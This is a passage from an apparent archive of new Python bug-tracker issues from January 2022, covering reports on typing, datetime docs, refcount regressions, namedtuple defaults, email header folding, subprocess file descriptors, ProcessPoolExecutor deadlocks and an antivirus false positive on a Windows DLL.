`__required_keys__`, or `__optional_keys__`, or `__annotations__` correctly, this is especially important because some classes might be defined as `total=False` and some as `total=True` 2. Some classes might be defined inline as `T = TypedDict('T', ...)` 3. Moreover, we have a special error we have to check: all superclasses must be `TypedDict`s as well (coverage shows that this error is not covered) https://github.com/python/cpython/blob/650720a0cfa1673938e6d1bad53b6c37c9edb47d/Lib/typing.py#L2328-L2331 I will send a PR for this. ---------- components: Tests messages: 411030 nosy: sobolevn priority: normal severity: normal status: open title: Multiple inheritance of TypedDict is not covered in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 11:08:38 2022 From: report at bugs.python.org (Kurt Mosiejczuk) Date: Thu, 20 Jan 2022 16:08:38 +0000 Subject: [New-bugs-announce] [issue46446] OpenBSD not MULTIARCH Message-ID: <1642694918.72.0.571135921903.issue46446@roundup.psfhosted.org> New submission from Kurt Mosiejczuk : Just like FreeBSD, MULTIARCH should not be passed to OpenBSD. Just add another line like done for FreeBSD ---------- components: Build messages: 411032 nosy: kmosiejczuk priority: normal severity: normal status: open title: OpenBSD not MULTIARCH type: compile error versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 16:16:16 2022 From: report at bugs.python.org (Jean Carlo Machado) Date: Thu, 20 Jan 2022 21:16:16 +0000 Subject: [New-bugs-announce] [issue46447] datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects Message-ID: <1642713376.42.0.598006047552.issue46447@roundup.psfhosted.org> New submission from Jean Carlo Machado : datetime.utcnow() already present a warning box describing the risk of using it without specifying timezone information. However, one might still have the same problem and never encounter this warning information by doing datetime.now().isoformat(). Or just by not reading the docs of datetime.utcnow, just the datetime.isoformat docs. By adding a similar warning to the datetime.isoformat() we could make the risk clearer and reduce the likelihood of errors. Is when calling isoformat() where people get confident to be producing ISO's. I just recently had an incident in my company where we produced naive datetimes using datetime.now() and serialized them using isoformat() while expecting them to be a transferrable ISO format. Nevertheless, the other system read the dates without Z in the end and interpreted it as local time. If you agree that this suggestion could be a good improvement to the docs, I can send a patch in the next 2 weeks. ---------- assignee: docs at python components: Documentation messages: 411046 nosy: docs at python, jeanCarloMachado priority: normal severity: normal status: open title: datetime.isoformat() documentation does not point to the risk of using it with naive datetime objects type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 18:20:43 2022 From: report at bugs.python.org (jhwang) Date: Thu, 20 Jan 2022 23:20:43 +0000 Subject: [New-bugs-announce] [issue46448] TypedDict inspect.signature error Message-ID: <1642720843.6.0.598679137786.issue46448@roundup.psfhosted.org> New submission from jhwang : I have Python 3.10.1 (Dec, 2021) installed and I see an error when inspecting signature of TypedDict class. This is the same issue reported on Issue43006 (msg385535 - (view)). It was marked as resolved but the error looks persistent. Can someone confirm if this was fixed or any release version with the fix? import inspect class T(typing.TypedDict): a: int print(inspect.signature(T)) was `(*args, **kwargs)` and now raises `ValueError: no signature found for builtin type ` ---------- components: Library (Lib) messages: 411056 nosy: jhwang priority: normal severity: normal status: open title: TypedDict inspect.signature error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 22:02:06 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 03:02:06 +0000 Subject: [New-bugs-announce] [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) Message-ID: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> New submission from STINNER Victor : Using the C program below, I see that _Py_RefTotal is decreasing at each iteration: --- #include int main(int argc, char *argv[]) { for (int i=1; i <= 100; i++) { Py_SetProgramName(L"./_testembed"); Py_Initialize(); Py_Finalize(); printf("Loop #%d: %zd refs\n", i, _Py_RefTotal); } } --- Example of output: --- ... Loop #96: 9557 refs Loop #97: 9544 refs Loop #98: 9531 refs Loop #99: 9518 refs Loop #100: 9505 refs --- It seems to be a regression caused by this change: commit 1cbaa505d007e11c4a1f0d2073d72b6c02c7147c Author: Guido van Rossum Date: Wed Nov 10 18:01:53 2021 -0800 bpo-45696: Deep-freeze selected modules (GH-29118) This gains 10% or more in startup time for `python -c pass` on UNIX-ish systems. The Makefile.pre.in generating code builds on Eric's work for bpo-45020, but the .c file generator is new. Windows version TBD. Before the change, _Py_RefTotal was stable: --- ... Loop #97: 10805 refs Loop #98: 10805 refs Loop #99: 10805 refs Loop #100: 10805 refs --- I found this issue while working on bpo-46417 which is related to bpo-1635741. ---------- components: Interpreter Core messages: 411075 nosy: vstinner priority: normal severity: normal status: open title: Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:19:36 2022 From: report at bugs.python.org (Curtis M) Date: Fri, 21 Jan 2022 04:19:36 +0000 Subject: [New-bugs-announce] [issue46450] namedtuple leaks data between instances when field's default value is empty list Message-ID: <1642738776.82.0.0885614963013.issue46450@roundup.psfhosted.org> New submission from Curtis M <3ed7qja59y at liamekaens.com>: Example code to replicate issue on python 3.10.2 is attached. How to replicate issue: 1. Define a namedtuple where all fields have default values. At least one field's default value will be an empty list: [] 2. Instantiate 2 instances of the namedtuple. 3. In the first instance, use namedtuple._replace() to add a replacement list into a field that defaults to []. 4. Now look at the contents of both namedtuples. *Both* of them are modified, even though the code only modified the first object. *** Output from attached example code: g.P5 1: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=[], P6=[]) h.P5 1: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=[], P6=[]) Expected: g.P5: [] Actual: g.P5: [] Expected: h.P5: [] Actual: h.P5: [] g.P5 2: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b'], P6=[]) h.P5 2: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b'], P6=[]) Expected: g.P5: ['a', 'b'] Actual: g.P5: ['a', 'b'] Expected: h.P5: [] Actual: h.P5: ['a', 'b'] g.P5 3: myNamedTuple(P1='hello', P2='world', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[]) h.P5 3: myNamedTuple(P1='good', P2='morning', P3=None, P4='', P5=['a', 'b', 'c', 'd'], P6=[]) Expected: g.P5: ['a', 'b', 'c', 'd'] Actual: g.P5: ['a', 'b', 'c', 'd'] Expected: h.P5: [] Actual: h.P5: ['a', 'b', 'c', 'd'] ---------- components: Library (Lib) files: namedtuple_example.py messages: 411079 nosy: user027.7 priority: normal severity: normal status: open title: namedtuple leaks data between instances when field's default value is empty list type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50568/namedtuple_example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 23:54:22 2022 From: report at bugs.python.org (Sebastian Berg) Date: Fri, 21 Jan 2022 04:54:22 +0000 Subject: [New-bugs-announce] [issue46451] Possibly bad interaction with tracing and cython? Message-ID: <1642740862.08.0.497751420234.issue46451@roundup.psfhosted.org> New submission from Sebastian Berg : Starting here, but there could be Cython interaction or something else in theory. But, when running the following: * Python 3.10.1 (not 3.9.9, debug version or not) * Setting a tracing function (not setting a trace-function will fix the issue) * Running Cython (maybe also C code) calling back into Python (the best I can tell) It can happen that module globals in the called funtions scope seem to be modified. Oddly enough to a value used in the locals of that function?! The pandas issue: https://github.com/pandas-dev/pandas/issues/41935 has a reproducer (sorry that it takes NumPy and pandas for now). I will paste it at the end here also. I can find that the value is modified by the time the `trace` function is called. No other "trace" triggers are processed before in this example (Cython calls other functions in NumPy, but all of those are C implemented, so I guess that is why). The function in question (unlike all?) should further be called with `__Pyx_PyFunction_FastCall`, so that is probably an important data point: Fastcall protocol seems involved. (Reproducible using NumPy 1.21.5 and Pandas 1.3.5, but except maybe pandas due to the Cython version, I don't expect version dependency.) The output of the script is very brief: Something happened here, `np.core.numeric.dtype IS np.dtype` call None The full reproducer script is: import sys import numpy as np import pandas as pd from numpy.core import numeric stop = False def trace(frame, event, arg): global stop if stop: return None if np.core.numeric.dtype is not np.dtype: print("Something happened here, `np.core.numeric.dtype IS np.dtype`") print(frame, event, arg) stop = True else: print(frame, event, arg) return trace sys.settrace(trace) pd._libs.lib.maybe_convert_objects(np.array([None], dtype=object)) For completeness, the Cython code calling the NumPy function in question, is (likley, there is more, this is Cython, I just cut it out a bit :)): #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_6, Py_False}; __pyx_t_15 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 2441, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif ---------- components: Interpreter Core messages: 411082 nosy: seberg priority: normal severity: normal status: open title: Possibly bad interaction with tracing and cython? type: crash versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 05:29:02 2022 From: report at bugs.python.org (Nathan/Eilisha Shiraini) Date: Fri, 21 Jan 2022 10:29:02 +0000 Subject: [New-bugs-announce] [issue46452] Possible false detection of Windows LZMA library as a malware by Avast Message-ID: <1642760942.75.0.147462544122.issue46452@roundup.psfhosted.org> New submission from Nathan/Eilisha Shiraini : Sending this here for information mostly On Windows, a recent (2022-01-21) Avast update makes it target the binary LZMA module embedded in Python 3.9 and 3.10. I'm talking about this file: \DLLs\_lzma.pyd I've run a VirusTotal scan of the 3.10 version of the file, which has returned 2 positives out of 67 at the time I'm writing this: https://www.virustotal.com/gui/file/f904b02720b6498634fc045e3cc2a21c04505c6be81626fe99bdb7c12cc26dc6 Can you confirm this is a false positive? Given the VirusTotal result I'm assuming it is, however I'd like to get official confirmation. ---------- components: Windows messages: 411105 nosy: paul.moore, steve.dower, thfetoile, tim.golden, zach.ware priority: normal severity: normal status: open title: Possible false detection of Windows LZMA library as a malware by Avast versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:37:00 2022 From: report at bugs.python.org (Peder Bergebakken Sundt) Date: Fri, 21 Jan 2022 11:37:00 +0000 Subject: [New-bugs-announce] [issue46453] argparse subparser help text is not escaped before string formatting Message-ID: <1642765020.5.0.0512563787695.issue46453@roundup.psfhosted.org> New submission from Peder Bergebakken Sundt : The `help` text in add_argument of a subparser in argparse can not contain a `%`, as it will affect string formatting. This often results in an exception. See repro.py for a reproduction, tested in Python 3.7 - 3.10. ---------- components: Library (Lib) files: repro.py messages: 411110 nosy: pbsds priority: normal severity: normal status: open title: argparse subparser help text is not escaped before string formatting versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50569/repro.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 06:55:53 2022 From: report at bugs.python.org (tongxiaoge) Date: Fri, 21 Jan 2022 11:55:53 +0000 Subject: [New-bugs-announce] [issue46454] '0 -> /dev/null' is lost Message-ID: <1642766153.46.0.556791990474.issue46454@roundup.psfhosted.org> New submission from tongxiaoge : I found a problem in the environment of python2 and python3, as follows: in python2: ``` VM-0-13-suse:~ # python2 -V Python 2.7.13 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python2 root 29414 0.1 0.7 37096 6632 pts/3 S+ 19:41 0:00 python2 fd2.py root 29442 0.0 0.1 10540 1656 pts/5 S+ 19:41 0:00 grep --color=auto python2 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29415 0.0 0.1 5760 1256 pts/3 S+ 19:41 0:00 sleep 12345 root 29451 0.0 0.1 10540 1648 pts/5 S+ 19:41 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29415/fd total 0 lrwx------ 1 root root 64 Jan 21 19:41 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:41 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:41 2 -> /dev/pts/3 VM-0-13-suse:~ # VM-0-13-suse:~ # kill -9 29415 29414 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python2 root 29551 0.1 0.7 37096 6632 pts/3 S+ 19:42 0:00 python2 fd.py root 29564 0.0 0.1 10540 1608 pts/5 S+ 19:42 0:00 grep --color=auto python2 VM-0-13-suse:~ # ps -aux|grep sleep root 29552 0.0 0.1 5760 1260 pts/3 S+ 19:42 0:00 sleep 12345 root 29576 0.0 0.1 10540 1628 pts/5 S+ 19:42 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29552/fd total 0 lrwx------ 1 root root 64 Jan 21 19:42 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:42 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:42 2 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:42 3 -> /dev/null VM-0-13-suse:~ # ``` in python3.4.6: ``` VM-0-13-suse:~ # python3 -V Python 3.4.6 VM-0-13-suse:~ # ps -aux|grep python3 root 29086 0.1 0.9 33628 8136 pts/3 S+ 19:39 0:00 python3 fd2.py root 29143 0.0 0.1 10540 1616 pts/5 S+ 19:39 0:00 grep --color=auto python3 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29087 0.0 0.1 5760 1284 pts/3 S+ 19:39 0:00 sleep 12345 root 29164 0.0 0.1 10540 1620 pts/5 S+ 19:39 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29087/fd total 0 lrwx------ 1 root root 64 Jan 21 19:39 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:39 2 -> /dev/pts/3 VM-0-13-suse:~ # VM-0-13-suse:~ # kill -9 29087 29086 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep python3 root 29257 0.3 0.9 33628 8076 pts/3 S+ 19:40 0:00 python3 fd.py root 29270 0.0 0.1 10540 1620 pts/5 S+ 19:40 0:00 grep --color=auto python3 VM-0-13-suse:~ # VM-0-13-suse:~ # ps -aux|grep sleep root 29258 0.0 0.1 5760 1264 pts/3 S+ 19:40 0:00 sleep 12345 root 29281 0.0 0.1 10540 1628 pts/5 S+ 19:40 0:00 grep --color=auto sleep VM-0-13-suse:~ # VM-0-13-suse:~ # ls -l /proc/29258/fd total 0 lrwx------ 1 root root 64 Jan 21 19:40 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 19:40 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 19:40 2 -> /dev/pts/3 ``` in python3.10.0: ``` bash-5.1# python3 -V Python 3.10.0 bash-5.1# bash-5.1# ps -aux|grep python3 root 28688 0.0 0.9 11664 8732 ? S+ 11:36 0:00 python3 fd2.py root 28725 0.0 0.2 6408 2216 ? S+ 11:36 0:00 grep python3 bash-5.1# bash-5.1# ps -aux|grep sleep root 28694 0.0 0.1 5524 908 ? S+ 11:36 0:00 sleep 12345 root 28729 0.0 0.2 6408 2276 ? S+ 11:36 0:00 grep sleep bash-5.1# bash-5.1# ls -l /proc/28694/fd total 0 lrwx------ 1 root root 64 Jan 21 11:36 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 11:36 2 -> /dev/pts/3 bash-5.1# bash-5.1# bash-5.1# kill -9 28694 28688 bash-5.1# bash-5.1# ps -aux|grep python3 root 28846 0.5 0.9 11680 8428 ? S+ 11:37 0:00 python3 fd.py root 28854 0.0 0.2 6408 2064 ? S+ 11:37 0:00 grep python3 bash-5.1# bash-5.1# ps -aux|grep sleep root 28847 0.0 0.0 5524 872 ? S+ 11:37 0:00 sleep 12345 root 28863 0.0 0.2 6408 2220 ? S+ 11:37 0:00 grep sleep bash-5.1# bash-5.1# ls -l /proc/28847/fd total 0 lrwx------ 1 root root 64 Jan 21 11:37 0 -> /dev/null lrwx------ 1 root root 64 Jan 21 11:37 1 -> /dev/pts/3 lrwx------ 1 root root 64 Jan 21 11:37 2 -> /dev/pts/3 bash-5.1# ``` When we execute the script fd2.py in the python 3 environment, we can find that '0 -> /dev/null' is lost. I wonder if this is a bug in Python3 or a new feature? If it is a bug, how to fix it? I will look forward to your reply very much. ---------- components: Library (Lib) messages: 411113 nosy: shihai1991, sxt1001, vstinner priority: normal severity: normal status: open title: '0 -> /dev/null' is lost type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 07:52:38 2022 From: report at bugs.python.org (Xavier Morel) Date: Fri, 21 Jan 2022 12:52:38 +0000 Subject: [New-bugs-announce] [issue46455] Deprecate / remove os.name=java Message-ID: <1642769558.95.0.589223779906.issue46455@roundup.psfhosted.org> New submission from Xavier Morel : os.name is defined as: > The following names have currently been registered: 'posix', 'nt', 'java'. In my understanding, the value `'java'` is for the benefit of jython, which is rather poorly. Other third-party implementations which may or may not have a "full os module" (e.g. ironpython) do not -- as far as I can tell -- get to be registered against this value, and Python 3.3's addition of `sys.implementation` seems like a more reliable (and better supported) way to perform implementation-specific checks. Therefore I feel `os.name == 'java'` only exists to confuse readers of the documentation, but doesn't really provide any value, and should be removed. ---------- components: Library (Lib) messages: 411123 nosy: xmorel priority: normal severity: normal status: open title: Deprecate / remove os.name=java versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:20:11 2022 From: report at bugs.python.org (jiahua wang) Date: Fri, 21 Jan 2022 15:20:11 +0000 Subject: [New-bugs-announce] [issue46456] Add mime type "image/avif" Message-ID: <1642778411.49.0.176829776976.issue46456@roundup.psfhosted.org> New submission from jiahua wang : https://www.iana.org/assignments/media-types/image/avif ---------- components: Library (Lib) messages: 411134 nosy: wangjiahua priority: normal severity: normal status: open title: Add mime type "image/avif" versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:21:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 Jan 2022 15:21:28 +0000 Subject: [New-bugs-announce] [issue46457] test_unittest: TestAsyncCase.test_debug_cleanup_same_loop() hangs with gc.set_threshold(500) Message-ID: <1642778488.24.0.387685452896.issue46457@roundup.psfhosted.org> New submission from STINNER Victor : The following command hangs: ./python -u -m test -v test_unittest -m test_debug_cleanup_same_loop -v 2>/dev/null if the following patch is applied on Python: diff --git a/Lib/unittest/test/test_async_case.py b/Lib/unittest/test/test_async_case.py index 3717486b265..c6759a13494 100644 --- a/Lib/unittest/test/test_async_case.py +++ b/Lib/unittest/test/test_async_case.py @@ -2,6 +2,7 @@ import unittest from test import support +import gc; gc.set_threshold(500) class MyException(Exception): pass ---------- components: Tests, asyncio messages: 411136 nosy: asvetlov, vstinner, yselivanov priority: normal severity: normal status: open title: test_unittest: TestAsyncCase.test_debug_cleanup_same_loop() hangs with gc.set_threshold(500) versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:26:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 21 Jan 2022 15:26:03 +0000 Subject: [New-bugs-announce] [issue46458] Optimise try-except code generation for the happy path Message-ID: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> New submission from Irit Katriel : The compiler emits code for try-except-else-finally in the order in which it appears in the source, but it could probably produce faster code if it optimizes for the no-exception path. ---------- assignee: iritkatriel components: Interpreter Core messages: 411137 nosy: iritkatriel priority: normal severity: normal status: open title: Optimise try-except code generation for the happy path type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 10:49:31 2022 From: report at bugs.python.org (oMqngo) Date: Fri, 21 Jan 2022 15:49:31 +0000 Subject: [New-bugs-announce] [issue46459] Installing python to external drive (USB) using python installer failure Message-ID: <1642780171.22.0.598043296536.issue46459@roundup.psfhosted.org> New submission from oMqngo : When trying to install python to a external drive, such as a USB drive, using the python installer (while having python installed on the local PC), the installer continues to the "download finished" window without installing anything to the USB drive. ---------- components: Windows messages: 411140 nosy: oMqngo, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Installing python to external drive (USB) using python installer failure type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 11:50:39 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 21 Jan 2022 16:50:39 +0000 Subject: [New-bugs-announce] [issue46460] Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` Message-ID: <1642783839.05.0.242453001499.issue46460@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now it has two sections: ``` .. versionchanged:: 3.11 The ``__exit__`` function is in position 8 of the stack rather than 7. ``` And ``` .. versionchanged:: 3.11 The ``__exit__`` function is in position 4 of the stack rather than 7. Exception representation on the stack now consist of one, not three, items. ``` Furthermore, they seem to contradict each other. I think that we should only keep the last one. I will send a PR for it. ---------- assignee: docs at python components: Documentation messages: 411147 nosy: docs at python, sobolevn priority: normal severity: normal status: open title: Doc/library/dis.rst lists `versionchange` twice for `WITH_EXCEPT_START` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 12:40:00 2022 From: report at bugs.python.org (Patric Gustavsson) Date: Fri, 21 Jan 2022 17:40:00 +0000 Subject: [New-bugs-announce] [issue46461] Kodi crashing Message-ID: <1642786800.75.0.533883695157.issue46461@roundup.psfhosted.org> New submission from Patric Gustavsson : Dear Sir/Madam, I was adviced to submitt an issue here, as the kodi team suggests its a problem with python. i get this error in my syslog : Jan 21 18:19:09 mediapc kernel: [ 14.478095] LanguageInvoker[1228]: segfault at 0 ip 00007fe50f704f45 sp 00007fe48d7f84e8 error 4 in libc-2.33.so[7fe50f5ab000+16b000] Link to thread on Kodi forum : https://forum.kodi.tv/showthread.php?tid=363499 Best Regards Patric ---------- messages: 411164 nosy: mrpg priority: normal severity: normal status: open title: Kodi crashing type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 13:21:38 2022 From: report at bugs.python.org (J. Walter Clark) Date: Fri, 21 Jan 2022 18:21:38 +0000 Subject: [New-bugs-announce] [issue46462] Email Header Folding Converts Non-CRLF Newlines to CRLFs Message-ID: <1642789298.35.0.0834990245798.issue46462@roundup.psfhosted.org> New submission from J. Walter Clark : In various places in the email library `str.splitlines` is used to split up a message where folding might take place in the original message source. This appears to be a bug because when these split parts are re-joined they are joined by a CRLF. https://github.com/python/cpython/blob/ef5bb25e2d6147cd44be9c9b166525fb30485be0/Lib/email/header.py#L369 `str.splitlines` splits on "universal newlines" which can include newlines other than the CRLF. https://docs.python.org/3/library/stdtypes.html#str.splitlines However, the email RFCs define folding whitespace with CRLF as the only possible newline type (optionally surrounded by WSP (SP/HTAB) and/or comments). https://datatracker.ietf.org/doc/html/rfc5322#section-3.2.2 The end result is that a message making a roundtrip through the email parser/generator is mangled because it has any non-CRLF "universal newlines" converted to CRLFs. Anything in the header after the non-CRLF "universal newline" appears on it's own line with no preceding whitespace. This appears to happen with all of the stock policies. ``` from email import message_from_bytes from email.policy import SMTPUTF8 eml_bytes = b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n' print(eml_bytes) message = message_from_bytes(eml_bytes, policy=SMTPUTF8) print(message.as_bytes(policy=SMTPUTF8)) ``` ``` b'Header-With-FS-Char: BEFORE\x1cAFTER\r\n\r\nBody\r\n' b'Header-With-FS-Char: BEFORE\r\nAFTER\r\n\r\nBody\r\n' ``` The operational impact of this mangling is that the "AFTER" text now makes the message format invalid because it is neither a valid header (no ": ") nor the valid start of a message body (only one CRLF). Common MIME-viewers (e.g. Thunderbird/Outlook) appear to interpret it as a body anyway and any subsequent headers become part of the body. ---------- components: Library (Lib) messages: 411171 nosy: jwalterclark priority: normal severity: normal status: open title: Email Header Folding Converts Non-CRLF Newlines to CRLFs type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 15:17:55 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 21 Jan 2022 20:17:55 +0000 Subject: [New-bugs-announce] [issue46463] escape4chm.py script causing AttributeError in docs build Message-ID: <1642796275.2.0.890020365688.issue46463@roundup.psfhosted.org> New submission from Steve Dower : Exception occurred: File "D:\a\1\s\Doc\tools\extensions\escape4chm.py", line 44, in fixup_keywords with app.builder.open_file(outdir, outname + '.hhk', 'r') as f: AttributeError: 'HTMLHelpBuilder' object has no attribute 'open_file' The full traceback has been saved in C:\Users\VSSADM~1\AppData\Local\Temp\sphinx-err-9ikx8s0b.log, if you want to report the issue to the developers. Please also report this if it was a user error, so that a better error message can be provided next time. A bug report can be filed in the tracker at . Thanks! ---------- assignee: steve.dower components: Build, Documentation messages: 411180 nosy: steve.dower priority: normal severity: normal status: open title: escape4chm.py script causing AttributeError in docs build versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 18:32:53 2022 From: report at bugs.python.org (Yilei Yang) Date: Fri, 21 Jan 2022 23:32:53 +0000 Subject: [New-bugs-announce] [issue46464] concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used Message-ID: <1642807973.18.0.685289247639.issue46464@roundup.psfhosted.org> New submission from Yilei Yang : When Python is built and linked with tcmalloc, using ProcessPoolExecutor may deadlock. Here is a reproducible example: $ cat t.py from concurrent import futures import sys def work(iteration, item): sys.stdout.write(f'working: iteration={iteration}, item={item}\n') sys.stdout.flush() for i in range(0, 10000): with futures.ProcessPoolExecutor(max_workers=2) as executor: executor.submit(work, i, 1) executor.submit(work, i, 2) $ python t.py working: iteration=0, item=1 working: iteration=0, item=2 working: iteration=1, item=1 working: iteration=1, item=2 ... working: iteration=3631, item=1 working: iteration=3631, item=2 The child process fails to finish. It's more likely to reproduce when the system is busy. With some bisect search internally, this commit https://github.com/python/cpython/commit/1ac6e379297cc1cf8acf6c1b011fccc7b3da2cbe "triggered" the deadlock threshold with tcmalloc. ---------- components: Library (Lib) messages: 411208 nosy: yilei priority: normal severity: normal status: open title: concurrent.futures.ProcessPoolExecutor can deadlock when tcmalloc is used versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:30:09 2022 From: report at bugs.python.org (STINNER Victor) Date: Sat, 22 Jan 2022 01:30:09 +0000 Subject: [New-bugs-announce] [issue46465] test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak Message-ID: <1642815009.1.0.251080855194.issue46465@roundup.psfhosted.org> New submission from STINNER Victor : test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak: --------- $ ./python -m test -v test_unittest -R 3:3 -m '*TestBreak.testHandlerReplacedButCalled' -m '*TestBreak.testInstallHandler' -m '*TestBreakSignalDefault.testInstallHandler' (...) beginning 6 repetitions 123456 testHandlerReplacedButCalled (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.003s OK (...) .testHandlerReplacedButCalled (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreak) ... ok testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ... FAIL ====================================================================== FAIL: testInstallHandler (unittest.test.test_break.TestBreakSignalDefault) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/vstinner/python/main/Lib/unittest/test/test_break.py", line 38, in testInstallHandler self.assertTrue(unittest.signals._interrupt_handler.called) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: False is not true (...) --------- Or you can use a "bisect" file: --- unittest.test.test_break.TestBreak.testHandlerReplacedButCalled unittest.test.test_break.TestBreak.testInstallHandler unittest.test.test_break.TestBreakSignalDefault.testInstallHandler --- And the command: ./python -m test -v -F test_unittest --matchfile=bisect Or the command: ./python -m test -v test_unittest -R 3:3 --matchfile=bisect It fails starting at the 4th iteration. ---------- components: Tests messages: 411217 nosy: vstinner priority: normal severity: normal status: open title: test_unittest: TestBreakSignalDefault.testInstallHandler() fails if run after TestBreak versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 20:38:03 2022 From: report at bugs.python.org (David Mc Dougall) Date: Sat, 22 Jan 2022 01:38:03 +0000 Subject: [New-bugs-announce] [issue46466] help function reads comments Message-ID: <1642815483.44.0.54511275509.issue46466@roundup.psfhosted.org> New submission from David Mc Dougall : My inline comment ('#') got picked up by the help command. Write the following code to a file (I named it "reproducer.py"): """ class Foo: # Hello docstring, I'm a '#' comment! def bar(self): pass assert Foo.bar.__doc__ is None help(Foo.bar) """ The bug only happens when the file is executed. $ python3 reproducer.py Help on function bar in module __main__: bar(self) # Hello docstring, I'm a '#' comment! Evaluating it at the interactive prompt does not reproduce the bug. $ cat reproducer.py | python3 Help on function bar in module __main__: bar(self) ---------- messages: 411218 nosy: dam1784 priority: normal severity: normal status: open title: help function reads comments type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 21 21:36:11 2022 From: report at bugs.python.org (Adam Ulrich) Date: Sat, 22 Jan 2022 02:36:11 +0000 Subject: [New-bugs-announce] [issue46467] Rounding 5, 50, 500 behaves differently depending on preceding value Message-ID: <1642818971.51.0.492086652953.issue46467@roundup.psfhosted.org> New submission from Adam 